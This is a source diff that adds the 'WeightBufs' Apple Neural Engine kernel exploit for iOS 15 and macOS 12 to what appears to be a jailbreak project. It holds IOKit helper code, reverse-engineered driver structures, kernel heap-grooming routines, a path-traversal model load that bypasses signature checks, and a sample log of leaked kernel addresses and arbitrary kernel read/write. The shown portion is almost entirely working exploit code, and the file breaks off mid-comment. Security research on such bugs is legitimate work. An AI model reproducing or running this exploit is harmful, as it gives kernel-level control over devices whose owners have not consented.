binary[cur++] = key; + binary[cur++] = 0; + return cur; +} + +uint32_t build_surface_payload_with_string(uint32_t count,char *string,uint32_t stringsize,uint32_t key) +{ + + uint32_t * binary = prop_data + 2;//a place for surface id + memset((char *)prop_data,0,prop_data_size); + + int cur = 0; + + binary[cur++] = kOSSerializeBinarySignature; + binary[cur++] = (kOSSerializeEndCollection| kOSSerializeArray | 2); + + binary[cur++] = (kOSSerializeArray | count); + // count : how many object we want ? + for(int i=0; i< count; i++) { + int end = (i == (count -1))? kOSSerializeEndCollection : 0; + binary[cur++] = (end |kOSSerializeString | stringsize -1 ); + memcpy((char *)&binary[cur],string,stringsize); + cur += (stringsize +3)/4; + } + + binary[cur++] = (kOSSerializeEndCollection | kOSSerializeSymbol | 5); // key + binary[cur++] = key; + binary[cur++] = 0; + return cur; +} + +void set_indexed_timestamp(io_connect_t c,uint32_t surface_id,uint64_t index,uint64_t value) +{ + uint64_t args[3] = {0}; + args[0] = surface_id; + args[1] = index; + args[2] = value; + kern_return_t kr = IOConnectCallMethod(c, 33, args,3, + NULL, 0, + NULL, NULL, NULL, NULL); + CHECK_IOKIT_ERR(kr, "set_indexed_timestamp"); +} + +kern_return_t iosurface_get_use_count(io_connect_t c,uint32_t surface_id,uint32_t *output) +{ + uint64_t args[1] = {0}; + args[0] = surface_id; + uint32_t outsize = 1; + uint64_t out = 0; + + kern_return_t kr = IOConnectCallMethod(c, 16, args,1, + NULL, 0, + &out, &outsize, NULL, NULL); + CHECK_IOKIT_ERR(kr, "iosurface_get_use_count"); + *output = (uint32_t)out; + return kr; +} diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.h b/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.h new file mode 100644 index 0000000000..4b39953410 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.h @@ -0,0 +1,51 @@ +#ifndef H_IOSURFACE_H +#define H_IOSURFACE_H + +#include "iokit.h" +#include + +#define IOSurfaceLockResultSize 0xF60 + +#define kOSSerializeBinarySignature 0x000000D3 +#define kOSSerializeIndexedBinarySignature 0x000000D4 + +typedef struct IOSurfaceFastCreateArgs +{ + uint64_t IOSurfaceAddress; + uint32_t IOSurfaceWidth; + uint32_t IOSurfaceHeight; + uint32_t IOSurfacePixelFormat; + uint32_t IOSurfaceBytesPerElement; + uint32_t IOSurfaceBytesPerRow; + uint32_t IOSurfaceAllocSize; +} IOSurfaceFastCreateArgs; + + +io_connect_t get_surface_client(void); +io_connect_t release_surface(io_connect_t surface,uint32_t surface_id); +io_connect_t create_surface_fast_path(io_connect_t surface,uint32_t *surface_id,IOSurfaceFastCreateArgs *args); +void set_indexed_timestamp(io_connect_t c,uint32_t surface_id,uint64_t index,uint64_t value); +kern_return_t iosurface_get_use_count(io_connect_t c,uint32_t surface_id,uint32_t *output); +void iosurface_remove_property(io_connect_t ,uint32_t ,uint32_t ); + +typedef uint64_t u64; + +mach_port_t iosurface_create_shared_event(io_connect_t c); +kern_return_t iosurface_signal_shared_event(io_connect_t c,mach_port_t sharedRefId, uint64_t signal); +kern_return_t iosurface_query_shared_event(io_connect_t c,mach_port_t sharedRefId); +kern_return_t iosurface_notify_shared_event(io_connect_t c,mach_port_t sharedRefId, + uint64_t arg1, + uint64_t arg2, + uint64_t arg3, + uint64_t arg4); + + +void add_shared_event_notification_port(io_connect_t c,mach_port_t port,uint64_t *references); +void notify_shared_event(io_connect_t ,u64 , u64 , u64 ,u64 ,u64 ); +void iosurface_set_value(io_connect_t ,uint32_t ); +void * init_iosurface_prop_data(void); +uint32_t build_iosurface_payload(uint32_t count,uint8_t *data,uint32_t datasize,uint32_t key); +uint32_t build_surface_payload_with_string(uint32_t count,char *string,uint32_t stringsize,uint32_t key); + + +#endif /* H_IOSURFACE_H */ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/aneProgram.h b/Application/Dopamine/Exploits/weightBufs/exploit/aneProgram.h new file mode 100644 index 0000000000..a35c70df03 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/aneProgram.h @@ -0,0 +1,273 @@ +#ifndef H_ANEPROGRAM_H +#define H_ANEPROGRAM_H + +#include +#include +#include +#include +#include +#include +#include + +typedef unsigned int ZinComputeProgramStatus; +struct ZinComputeProgramInitInfo; +struct ZinComputeProgramStruct; +struct ZinComputeProgramSection; +typedef struct ZinComputeProgramStruct ZinComputeProgram; + +typedef uint64_t u64; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint8_t u8; + +#define FOR_EACH_COMMAND \ + lc = (load_command*)(mh + 1); \ + for (int i = 0; i < mh->ncmds; ++i, lc = (load_command*)((char*)lc + lc->cmdsize)) + + +CFMutableDictionaryRef ANECCreateModelDictionary(void *, size_t); +ZinComputeProgramStatus ZinComputeProgramUpdateMutables(uint32_t,void *,void *, size_t,void *,size_t); + +ZinComputeProgramStatus ZinComputeProgramMakeInitInfo( + const ZinComputeProgram *, + struct ZinComputeProgramInitInfo **); + +ZinComputeProgramStatus ZinComputeProgramMake( + struct mach_header_64 *, + size_t, + struct ZinComputeProgramStruct **); + +ZinComputeProgramStatus ZinComputeProgramHasMutableOperation( + struct ZinComputeProgramStruct *, + boolean_t *); + +ZinComputeProgramStatus __cdecl ZinComputeProgramGetInitSection( + const ZinComputeProgram *program, + struct ZinComputeProgramSection **SectionOut); + +ZinComputeProgramStatus __cdecl ZinComputeProgramCompareCompilerVersion(const char *, const char *, int32_t *); + +ZinComputeProgramStatus ZinComputeProgramGetNamesFromMultiPlaneLinear(struct load_command *,u32 *, u64*, u32 *,u64 *); + +long ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed(struct load_command *,u32 *, + u64 *, + u64 *, + u64 *, + u64 *); + +struct ZinComputeProgramSectionInfo +{ + struct + { + int bufferType; + struct ZinComputeProgramSection *ComputeSgment; + }infos; +}; + +ZinComputeProgramStatus ZinComputeGetProgramSections(ZinComputeProgram *, + uint32_t *, + struct ZinComputeProgramSectionInfo **); + +struct ZinComputeProgramInitInfo +{ + uint64_t count_index; + void* unk_ptr; + uint64_t unk_ptr_size; +}; + + +struct compute_thread_binding; +struct ZinComputeProgramBinding +{ + struct load_command *load_command; + void *unk_thread_obj; + struct compute_thread_binding *thread_binding; +}; + +struct ZinComputeProgramSymbol {int a;}; + +struct __attribute__((aligned(8))) ZinComputeProgramSection +{ + struct section_64 *MachSections; + struct ZinComputeProgramSegment *ProgramSegments; + struct relocation_entries *relocation_entries; + char *sect_start_addrs; + u64 field_20; +}; + +struct ZinComputeProgramProcedure +{ + char *procedureName; + u64 proc_fvmlib_count; + struct ZinComputeProgramFvmlib **fvmlib; + u64 ProcedcureOperationsCount; + struct ZinComputeProcedureOperation **ProcedcureOperations; + u64 field_28; + u64 ProgramBindingsCount; + struct ZinComputeProgramBinding **ProgramBindings; +}; + + +struct ZinComputeProcedureOperation {int a;}; +struct ZinComputeProgramFvmlib {int a;}; +struct ZinComputeProgramSegment {int a;}; + + +struct ZinComputeProgramStruct +{ + struct mach_header_64 *CP_mach_header; + u64 CP_version; + struct ident_command *CP_lc_ident; + struct note_command *CP_lc_note; + struct source_version_command *CP_lc_source_version; + u64 CP_ProgramSegments_Count; + struct ZinComputeProgramSegment *CP_ProgramSegments; + u64 CP_fixed_vm_dylib_count; + struct ZinComputeProgramFvmlib *CP_ProgramFvmlib; + u64 CP_ThreadProcedureOperationsCount; + struct ZinComputeProcedureOperation *CP_ThreadProcedureOperations; + u64 CP_ThreadProceduresCount; + struct ZinComputeProgramProcedure *CP_ThreadProcedures; + struct symtab_command *CP_ProgramSymbolTable; + struct ZinComputeProgramSymbol *CP_ProgramSymbols; + u64 CP_unk_78; + u64 CP_ThreadBindingCount; + struct ZinComputeProgramBinding *CP_ThreadBindings; +}; + +enum THREAD_FLAVORS +{ + THREAD_PROCEDURE_OPERATION = 0x1, + THREAD_FLAVORS_2 = 0x2, + THREAD_BINDING = 0x3, + THREAD_PROCEDURE = 0x4, +}; + + +union compute_thread_command_flavors +{ + u8 * procedure_operation; // ane_op_state ? + u8 * ane_bind_state; // ane_bind_state + u8 * seg_thread_state; // ane_seg_thread_state_64 +}; + + +struct compute_thread_command +{ + u32 cmd; + u32 cmdsize; + enum THREAD_FLAVORS flavor; + int count; + union compute_thread_command_flavors thread_states; +}; + +struct compute_thread_binding +{ + u32 binding_typeinfo; + u32 kind; + char data[0xD20]; +}; + +struct relocation_info +{ + int32_t r_address; + uint32_t r_symbolnum; +}; + +struct relocation_entries +{ + struct relocation_info *relocs; + struct ZinComputeProgramSymbol *Symbols; + struct ZinComputeProgramSection *compute_sect; +}; + + + +struct ANECMutableProcedureInfoHeader { + u64 field_0; + u64 field_8; + u64 field_10; + u32 weight_buffer_size; + u32 unk_20; +}; + +struct ANECMutableProcedureInfo +{ + struct ANECMutableProcedureInfoHeader hdr; + uint64_t wb_offsets[0]; +}; + +struct opsInfo +{ + uint32_t op_index; + uint32_t op_count; + uint64_t op_offsets[0]; +}; + +struct weightInfo { + uint64_t wi_index; + uint64_t wi_offset; + uint64_t wi_size; +}; + + +typedef struct { + mach_port_t eventPort; + uint32_t eventType; + uint64_t waitValue; + uint64_t unknown; + uint64_t _mIOSurfaceSharedEvent; + uint64_t field_20; +} Events; + +typedef struct { + uint32_t numWaitEvents; + uint32_t numSignalEvents; + Events WaitEvents[0x40]; + Events SignalEvents[0x40]; +} H11ANESharedEventsStruct; + + + +#if 0 +struct ZinComputeProgramStruct +{ + struct mach_header_64 *mach_header; + u64 version; + struct ident_command *ident_cmd; + stryct note_command *lc_note; + struct source_version_command *lc_source_version; + u64 segment_count; + void *segments; /* ZinComputeProgramSegment *segments; */ + u64 fixed_vm_dylibs_count; + void *fixed_vm_dylibs; /* ZinComputeProgramFvmlib */ + u64 size; + void *lc_procedure_operation; /* ZinComputeProcedureOperation */ + u64 procedure_count; + void *procedures; /* ZinComputeProgramProcedure */ + struct symtab_command *ProgramSymbolTable; + void *ProgramSymbols; /* ZinComputeProgramSymbol */ + u64 unk_78; + u64 ProgramBindingCount; + void *ProgramBinding; /* ZinComputeProgramBinding */ +}; +#endif + + +struct OcgRasterizationInfoStruct +{ + u16 vals[4]; +}; + +typedef struct +{ + u64 read_count; /* How many bytes I'd like to read ? */ + u64 read_offset; /* At which offset I should start reading data ? */ + u64 global_chunk_size; + u32 chunk_index; /* DeCxt::FileIndexToWeight() OOB Read due to lack of array index validation */ + u64 underflow; /* DeCxt::RasterizeScaleBiasData() OOB writes due to integer overflow vulnerability */ + struct OcgRasterizationInfoStruct ocg; +}serializer_info_t; + + +#endif /* H_ANEPROGRAM_H */ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h new file mode 100644 index 0000000000..ac7d0a414a --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h @@ -0,0 +1,116 @@ +#ifndef H_EXPLOIT_H +#define H_EXPLOIT_H + +//#define dbg printf +#define dbg(x, ...) + + +#include "iokit.h" +#include "IOSurface.h" +#include "IOGPU.h" +#include "ANEDirectIn.h" +#include "aneProgram.h" +#include +#include +#include "AppleNeuralEngine/_ANEModel.h" +#include "AppleNeuralEngine/_ANEClient.h" + +#define FOR_EACH_COMMAND \ + lc = (struct load_command*)(mh + 1); \ + for (int i = 0; i < mh->ncmds; ++i, lc = (struct load_command*)((char*)lc + lc->cmdsize)) + +#if TARGET_OS_OSX +#define xpacd(addr) ((addr) | ((uint64_t)0xfffffe00 << 32)) +#else +#define xpacd(addr) ((addr) | ((uint64_t)0xfffffff0 << 32)) +#endif + +#define TOTAL_PORTS 0x1300 + + +#if TARGET_OS_OSX + +#define MAX_PROGRAMS 5 +#define IOSURFACE_OBJ_SIZE 0x440 +#define MAX_SHMEMS 0x2000 + +#else + +#define MAX_PROGRAMS 5 +#define IOSURFACE_OBJ_SIZE 0x8 +#define MAX_SHMEMS 0x2000 + +#endif /* TARGET_OS_OSX */ + +#define MAX_TRIES 0x10 + +struct exploit { + + u8 * initInfo; /* INIT:__text 'initInfo' section, where serialized data is located */ + u32 initInfo_sz; // The size of the allocated section + + io_connect_t iosurface; + u32 weightsSurface; + + u8 * weightsBuffer; // weight surface buffer + size_t weightsBufferSize; // weight surface size + + u32 InOutSurface; + u32 groom_surface_count; + + u32 groom_pageable_maps_count; + struct shmem *shmems[MAX_SHMEMS * MAX_TRIES]; + u32 shmems_count; + + u32 groom_kernel_map_count; + bool kernel_map_groom_done; + + void *mh; + size_t mh_size; +}; + + +struct H11ANESharedMemorySurfaceParamsStruct { + size_t size; + u64 p_IOSurface; + u64 dartMapBase; + u64 surface_memDesc; + u64 surface_memMap; + u64 surface_address; + u64 dmaCommand; + u32 name; + u32 unkown32; + u64 unkown64; +}; + +struct matched_surface { + u32 surface_id; + u8 * loc; + u64 IOSurfaceClient_loc; + u64 IOSurface_loc; +}; + + +struct kern_rw +{ + u8 * shm_uaddr; + u64 shm_kaddr; + u64 shm_size; + u32 surface_id; + u32 shm_id; +}; + +void init_structs(void); +void groom_pageable_maps_with_iogpu_cmdbufs(void); +mach_port_t sr(void); +void hwx_init_frameworks(void); +void hwx_patch_model(void); +void _hwx_patch_model(struct mach_header_64 *,size_t ,u8 ** ); +uint64_t hwx_load_model(void); +uint64_t hwx_patch_and_load_model(void); +void hwx_unload_model(u64); + + +int exploit(uint64_t *kernelBaseOut); + +#endif /* H_EXPLOIT_H */ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m new file mode 100644 index 0000000000..ee46a96f97 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m @@ -0,0 +1,1406 @@ +/* + * WeightBufs : Apple Neural Engine (ANE) kernel exploit for iOS 15/macOS 12 + * Vulns && Exploit by @_simo36 + * + * - Bugs : + * CVE-2022-32845 : aned signature check bypass for model.hwx. + * CVE-2022-32948 : DeCxt::FileIndexToWeight() OOB Read due to lack of array index validation + * CVE-2022-42805 : ZinComputeProgramUpdateMutables() potential arbitrary read due to Integer overflow issue + * CVE-2022-32899 : DeCxt::RasterizeScaleBiasData() OOB writes due to integer underflow vulnerability + * + * - Tested on : + * iPhone12 Pro (iPhone13,3) with iOS 15.5 + * iPad Pro (iPad8,10) with iPadOS 15.5 + * iPhone11 Pro (iPhone12,3) with iOS 15.4.1 + * MacBookAir10,1 M1 with macOS 12.4 + + [+] Loading AppleNeuralEngine framework ...OK + [+] Patching model.hwx with custom initInfo section ... OK + [+] Stage 1: Grooming kernel memory ... + [+] Grooming IOSurface_zone ... OK + [+] Grooming pageable maps ... OK + [+] Grooming kernel_map ... . . . . . OK + [+] Patching model.hwx with custom initInfo section ... OK + [+] Found scratched ShmemID 0x1f6b with size 0x4000 + 00 40 00 00 00 00 00 00 E0 A9 E6 9F E4 FF FF FF | .@.............. + 00 00 B4 02 00 00 00 00 68 6C 55 CF E2 FF FF FF | ........hlU..... + E0 F2 51 CF E2 FF FF FF 00 40 1B FF EF FF FF FF | ..Q......@...... + 38 04 E8 66 E6 FF FF FF 4B 54 55 4D 01 00 00 00 | 8..f....KTUM.... + 00 00 00 00 00 00 00 00 | ........ + [+] Leaked mutable kernel section (MUTK) buffer 0xffffffefff1b4000 + [+] Leaked IOSurface object 0xffffffe49fe6a9e0 + [+] Kernel location of our input buffer 0xffffffefff074000 + [+] Stage 3: Dumping a memory page from IOSurface_zone + [+] Patching model.hwx with custom initInfo section ... OK + [+] Found scratched ShmemID 0x1fb8 with size 0x4000 + [+] Found a matching surface-id=0x018f IOSurface=0xffffffe49fe68000 ! + [+] Found a matching surface-id=0x0195 IOSurface=0xffffffe49fe68430 ! + [+] Found a matching surface-id=0x0191 IOSurface=0xffffffe49fe69d50 ! + [+] Found a matching surface-id=0x0192 IOSurface=0xffffffe49fe6a180 ! + [+] Found a matching surface-id=0x0194 IOSurface=0xffffffe49fe6b240 ! + [+] Found a matching surface-id=0x018e IOSurface=0xffffffe49fe6baa0 ! + [+] IOSurfaceClient location 0xffffffe666eeab20 + [+] IOSurface location 0xffffffe49fe6baa0 + [+] IOSurfaceRoot 0xffffffe2ce25e000 + [+] Stage 4: Performing the arbitrary write primitive ... + [+] Patching model.hwx with custom initInfo section ... OK + [+] Got shmem id 0x1fb8 for 0xffffffefff074000 + [+] Stage 5: Get stable arbitrary kernel read/write .... OK + [+] IOSurfaceRoot vtable 0xfffffff018456db0 + [+] kread64([0xfffffff018456db0]) = 0x39bbc170194012f4 + [+] kread64([0xffffffefff077000]) = 0x4141414100003000 + [+] kwrite64(0xffffffefff077000,0xdeadbeef12345678) + [+] kread64([0xffffffefff077000]) = 0xdeadbeef12345678 + [+] Kernel text base 0xfffffff017bb8000 + CF FA ED FE 0C 00 00 01 02 00 00 C0 02 00 00 00 | ................ + 1A 00 00 00 90 16 00 00 01 00 20 00 00 00 00 00 | .......... ..... + 19 00 00 00 C8 02 00 00 5F 5F 54 45 58 54 00 00 | ........__TEXT.. + 00 00 00 00 00 00 00 00 00 80 BB 17 F0 FF FF FF | ................ + 00 40 6F 00 00 00 00 00 00 00 00 00 00 00 00 00 | .@o............. + 00 40 6F 00 00 00 00 00 05 00 00 00 05 00 00 00 | .@o............. + 08 00 00 00 00 00 00 00 5F 5F 63 6F 6E 73 74 00 | ........__const. + [+] Cleanup done + system name = Darwin + node name = iPhone12-Pro + release = 21.5.0 + version = Darwin Kernel Version 21.5.0: Thu Apr 21 21:51:27 PDT 2022; root:xnu-8020.122.1~1/RELEASE_ARM64_T8101 + machine = iPhone13,3 + + +*/ + + +#include "exploit.h" + + +struct exploit *p = NULL; + +serializer_info_t *sinfo = NULL; +io_connect_t client = IO_OBJECT_NULL, surface_client = IO_OBJECT_NULL; + + +struct H11ANESharedMemorySurfaceParamsStruct aneMemSurface = {}; + +H11ANESharedEventsStruct *events = NULL; + +extern uint32_t * prop_data; + +struct kern_rw krw = {}; + +IOSurfaceID g_IOSurfaceIds[0x4000]; +u32 g_IOSurfaceIds_count; +struct matched_surface matched = {}; + + +u64 IOSurfaceRoot = 0; +u64 self_task = 0; +u64 IOSurface_zone_page = 0; +#define store_surface_id(id) \ + assert(g_IOSurfaceIds_count < 0x4000); \ + g_IOSurfaceIds[g_IOSurfaceIds_count++] = (id) + + +#if TARGET_OS_OSX +_ANEModel * md = nil; +_ANEClient * anec = nil; + +#else /* iOS/iPadOS */ + +id md = nil; +id anec = nil; + +#define _ANEModel __ANEModel +#define _ANEClient __ANEClient +Class __ANEModel; +Class __ANEClient; +char *gBundle = NULL; + + +void hwx_init_frameworks(void) +{ + printf("[+] Loading AppleNeuralEngine framework ..."); + __ANEModel = NSClassFromString(@"_ANEModel"); + __ANEClient = NSClassFromString(@"_ANEClient"); + + size_t size = 0x1000; + char *bundle_path = (char *)calloc(1,size); + CFBundleRef bundle = CFBundleGetBundleWithIdentifier(CFSTR("com.opa334.weightBufs")); + CFURLRef url = CFBundleCopyBundleURL(bundle); + CFURLGetFileSystemRepresentation(url, true, (UInt8 *)bundle_path, size); + + //CFURLGetFileSystemRepresentation(CFBundleCopyBundleURL(CFBundleGetMainBundle()), true, (UInt8 *)bundle_path, 0x1000); + CFRelease(url); + //printf("%s \n",bundle_path); + gBundle = bundle_path; + printf("OK\n"); +} + +#endif + +void hwx_patch_model(void) +{ + printf("[+] Patching model.hwx with custom initInfo section ... "); + size_t mh_size = 0; + +#if TARGET_OS_OSX + if(!p->mh) + p->mh = load_file("model_tmp.hwx",&mh_size); + + /* void *mh = load_file("model_tmp.hwx",&mh_size); */ + + struct mach_header_64 * mutable_mh = (struct mach_header_64 *)calloc(1,p->mh_size+0x10000); + memcpy((void *)mutable_mh,(void *)p->mh,p->mh_size); + + u8* initInfo = NULL; + _hwx_patch_model(mutable_mh,p->mh_size,&initInfo); + assert(initInfo); + + memcpy(initInfo,p->initInfo,p->initInfo_sz); + int fd = open("/var/tmp/model.hwx",O_RDWR|O_CREAT, 0777); + assert(fd != -1); + + p->mh_size+=0x10000; + ssize_t rb = write(fd,mutable_mh,p->mh_size); + assert(rb == p->mh_size); + close(fd); + + +#else + gBundle[strlen(gBundle)] = '/'; + + char *tmp_model = "model_tmp.hwx"; + char *mfile = (char*)calloc(strlen(gBundle) + strlen(tmp_model),1); + assert(mfile); + memcpy(mfile,gBundle,strlen(gBundle)); + memcpy(mfile+strlen(gBundle),tmp_model,strlen(tmp_model)); + + if(!p->mh) + p->mh = load_file(mfile,&p->mh_size); + + const char *model_path = [NSTemporaryDirectory() stringByAppendingPathComponent:@"model.hwx"].cString;// s.cString; + int fd = open(model_path,O_RDWR|O_CREAT, 0644); + if(fd == -1) { + perror("open"); + exit(0); + } + + struct mach_header_64 * mutable_mh = (struct mach_header_64 *)calloc(1,p->mh_size+0x10000); + memcpy((void *)mutable_mh,(void *)p->mh,p->mh_size); + + u8* initInfo = NULL; + _hwx_patch_model(mutable_mh,mh_size,&initInfo); + assert(initInfo); + + memcpy(initInfo,p->initInfo,p->initInfo_sz); + p->mh_size+=0x10000; + ssize_t rb = write(fd,mutable_mh,p->mh_size); + assert(rb == p->mh_size); + close(fd); + +#endif /* TARGET_OS_OSX */ + + printf("OK\n"); +} + + +uint64_t hwx_load_model(void) +{ + dbg("[+] Loading model.hwx .. "); +#if TARGET_OS_OSX + NSString * model_str = @"/var/"; + NSString * model_str2 = @"../../../../../../../../../../../../var/tmp/"; +#else + NSString * model_str = NSTemporaryDirectory(); + + char bundle_path_traversal[0x2000] = {0}; + snprintf(bundle_path_traversal,0x2000,"../../../../../../../../../../../../../%s", + NSTemporaryDirectory().cString ); + NSString *model_str2 = [NSString stringWithCString:bundle_path_traversal encoding:NSUTF8StringEncoding]; +#endif + NSError * err; + + NSURL * model_url = [NSURL URLWithString: model_str]; + md = [_ANEModel modelAtURL:model_url key:@""]; + anec = [_ANEClient sharedConnection]; + NSDictionary *opts = [NSMutableDictionary dictionary]; + + [opts setValue:model_str forKey:@"kANEFIsInMemoryModelTypeKey"]; + [anec loadModel:md options:opts qos:2 error:&err]; + [opts setValue:@YES forKey:@"kANEFInMemoryModelIsCachedKey"]; + [opts setValue:model_str2 forKey:@"kANEFIsInMemoryModelTypeKey"]; + [anec loadModel:md options:opts qos:1 error:&err]; + + + if([md programHandle]) + dbg("OK\n"); + else { + /* In terminal : 'idevicesyslog -u UDID --debug --match AppleH11ANEInterface' */ + /* if your see "Macho is not build", it means you've to guess the macho->cpu */ + printf("FAIL\n"); + printf("[-] Unable to load model.hwx. First make sure the macho->cpusubtype is correct. \n" + "\tIf so, type 'idevicesyslog -u UDID --debug --match AppleH11ANEInterface' to figure out the error\n"); + exit(0); + } + return [md programHandle]; + +} + + /* TODO : use program_handle arg */ +void hwx_unload_model(u64 /* unused */ program_handle) +{ + dbg("[+] Unload program ... "); + NSError *err = nil; + NSDictionary *opts = [NSMutableDictionary dictionary]; + [anec purgeCompiledModel:md]; + [anec unloadModel:md options:opts qos:1 error:&err]; + dbg("OK\n"); +} + +uint64_t hwx_patch_and_load_model(void) +{ + hwx_patch_model(); + + return hwx_load_model(); +} + +H11ANESharedEventsStruct * prepare_SignalWaitEvents(uint32_t numWaits, uint32_t numSignals,io_connect_t *surface_client) +{ + assert((numWaits <= 0x40) && (numSignals <= 0x40)); + H11ANESharedEventsStruct * SharedEvents = (H11ANESharedEventsStruct*)calloc(0x1408,1); + assert(SharedEvents != NULL); + + SharedEvents->numWaitEvents = numWaits; + SharedEvents->numSignalEvents = numSignals; + mach_port_t shared_event = iosurface_create_shared_event(p->iosurface); + + for(int i=0; i < numWaits; i++) { + SharedEvents->WaitEvents[i].eventPort = shared_event; + SharedEvents->WaitEvents[i].waitValue = 0x41414141; + + } + + for(int i=0; i < numSignals; i++) { + SharedEvents->SignalEvents[i].eventPort = shared_event; + SharedEvents->SignalEvents[i].waitValue = 0x41414141; + SharedEvents->SignalEvents[i].eventType = 2; + + } + + if(surface_client != NULL) *surface_client = p->iosurface; + + return SharedEvents; +} + +void signal_wait_event(H11ANESharedEventsStruct *ev,uint32_t index,u64 waitValue) +{ + if(index == -1) { + for(int i=0; i < ev->numWaitEvents; i++) + + iosurface_signal_shared_event(surface_client, + ev->WaitEvents[i].eventPort, + waitValue + i); + return; + } + assert(index < ev->numWaitEvents); + iosurface_signal_shared_event(surface_client, + ev->WaitEvents[index].eventPort, + waitValue + index); +} + +H11ANEProgramRequestArgsStruct * prepare_sendRequest(H11ANESharedEventsStruct *ev, + u64 program_handle) +{ + H11ANEProgramRequestArgsStruct * rq = (H11ANEProgramRequestArgsStruct *)calloc(0xA60,1); + + rq->programHandle = program_handle; + + rq->total_InputBuffers = 2; + rq->inputBufferSurfaceId[0] = p->InOutSurface; + rq->inputBufferSurfaceId[1] = p->InOutSurface; + rq->inputBufferSymbolIndex[0] = 0; + rq->inputBufferSymbolIndex[1] = 1; + + rq->weightsBufferSurfaceId = p->weightsSurface; + + rq->total_OutputBuffers = 1; + rq->outputBufferSurfaceId[0] = p->InOutSurface; + + rq->EventsAddr = (u64)ev; + + return rq; +} + +void do_open_ane_device(u64 program_handle) +{ + client = iokit_get_connection("H11ANEIn",1); + struct H11ANEDeviceInfoStruct din = {0}; + + din.fields[0] = program_handle; + din.fields[1] = 0x414141414141; + *(uint32_t *)((char*)&din + 0x20) = 0x111; + *(uint32_t *)((char*)&din + 0x30) = 0x222; + + do__ANEDriect_DeviceOpen(client,&din); +} + +bool dev_open = false; +kern_return_t do_send_ane_request(u64 program_handle) +{ + if(dev_open == false) { + do_open_ane_device(program_handle); + dev_open = true; + } + + H11ANEProgramRequestArgsStruct * request = prepare_sendRequest(events,0); + if(!events) + events = prepare_SignalWaitEvents(0,0,&surface_client); + + request->programHandle = program_handle; + mach_port_t async = sr(); + kern_return_t kr = do__ANEDirect_ProgramSendRequest(client,async,request); + if(kr == 0xe00002be) { + IOServiceClose(client); + client = IO_OBJECT_NULL; + dev_open = false; + printf("SendRequest failed ... \n"); + } + + free(request); + mach_port_deallocate(mach_task_self(),async); + return kr; +} + +mach_port_t sr(void) +{ + mach_port_t p = MACH_PORT_NULL; + kern_return_t kr = _kernelrpc_mach_port_allocate_trap(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); + assert(kr == KERN_SUCCESS); + kr = _kernelrpc_mach_port_insert_right_trap(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); + assert(kr == KERN_SUCCESS); + return p; +} + +/* + * I want IOSurface_zone to gather few pages before spraying kernel_map + * and IOKit pageable maps. Then release some IOSurface objects to create + * holes for IOSurface allocations that the neural engine driver will make soon. + * As a result, they could fall between our newly created IOSurface objects. + * The intentions behind this are: + * 1- Ensure that IOSurface zone does not request additional pages in the future. + * 2- I want to leak a memory page from IOSurface zone that contains at least one IOSurface object created by our exploit. This is an important step toward the kernel r/w primitive. + */ +void groom_IOSurface_zone(void) +{ + printf("[+] Grooming IOSurface_zone ... "); + IOSurfaceID released[0x10] = {}; + u32 release_count = 0; + + /* Fill IOSurface_zone with bunch of IOSurface allocations */ + /* for(int i =0; i < 0x200; i+=1) { */ + for(int i =0; i < p->groom_surface_count; i++) { + u32 ssid = 0; + IOSurfaceFastCreateArgs args = {0}; + args.IOSurfaceAddress = 0; + args.IOSurfaceAllocSize = 0x4000; + create_surface_fast_path(p->iosurface, &ssid, &args); + + /* if( ((i & 0x10) == 0) && (i > 5) && (release_count < 10)) */ + /* For each page, release one IOSurface object */ + if( ((i & 0x10) == 0) && (i > 5) && (release_count < 5)) + released[release_count++] = ssid; + else + store_surface_id(ssid); + } + + for(int i=0; i < release_count;i++) { + release_surface(p->iosurface,released[i]); + } + + printf("OK\n"); +} + +/* + * I want to fill gIOKitPageableSpace's first sub-map. + * As a result, when the next submap is assigned, its address range will (hopefully) be at a higher location. + * This is however not guaranteed due to the kernel_map randomization. + */ +static void groom_pageable_maps(void) +{ + printf("[+] Grooming pageable maps ... "); +#if TARGET_OS_OSX + io_connect_t c =iokit_get_connection("IOGPU",5); +#else + io_connect_t c = iokit_get_connection("IOGPU",1); +#endif + u32 q = 0; + char input[1032] = {0}; + + memset(input,0x41,0x400); + * (uint32_t *)(input + 0x400) = 1 % 5; + * (uint32_t *)(input + 0x404) = 1; + + struct IOGPUNotificationQueueData *n = do_s_create_notificationqueue(c); + do_s_new_command_queue(c,&input,&q); + + do_s_set_command_queue_notification_queue(c,q,n->id); + + /* uint32_t count = MAX_SHMEMS - 1; */ + uint32_t count = p->groom_pageable_maps_count - 1; + for(int i=0; i < count; i++) { + struct shmem * shm = do_s_create_shmem(c,0x4000,1);; + assert(!mlock(shm->shm_addr,shm->shm_len)); + p->shmems[p->shmems_count] = shm; + p->shmems_count++; + } + + IOGPUCommandQueueSubmitArgs_t *args = (IOGPUCommandQueueSubmitArgs_t *)calloc(0x28,1); + args->hdr.count = 1; + + IOGPUCommandQueueSubmitArgs_Command_t *submit_args = &args->body[0]; + submit_args->notify_1 = 0x1111; + submit_args->notify_2 = 0x2222; + submit_args->shmid_1 = p->shmems[0]->shm_id; + submit_args->shmid_2 = p->shmems[1]->shm_id; + submit_args->shmid_3 = p->shmems[2]->shm_id; + + struct Shmem3 * shm3_data = (struct Shmem3 *)p->shmems[0]->shm_addr; + + struct IOGPUKernelCommand * cmd = (struct IOGPUKernelCommand * )p->shmems[1]->shm_addr; + cmd->size = 8; + cmd->type = 2; + cmd->cmd.Cmd_0x2.sleep = 1; + + shm3_data->hdr.fieldC = 0x40000001; + shm3_data->hdr.field0 = 0x42424242; + shm3_data->off.kernelCommandStart = 0; + shm3_data->off.kernelCommandEnd = sizeof(struct IOGPUKernelCommand) + 8; + + /* This is how pageable maps look like 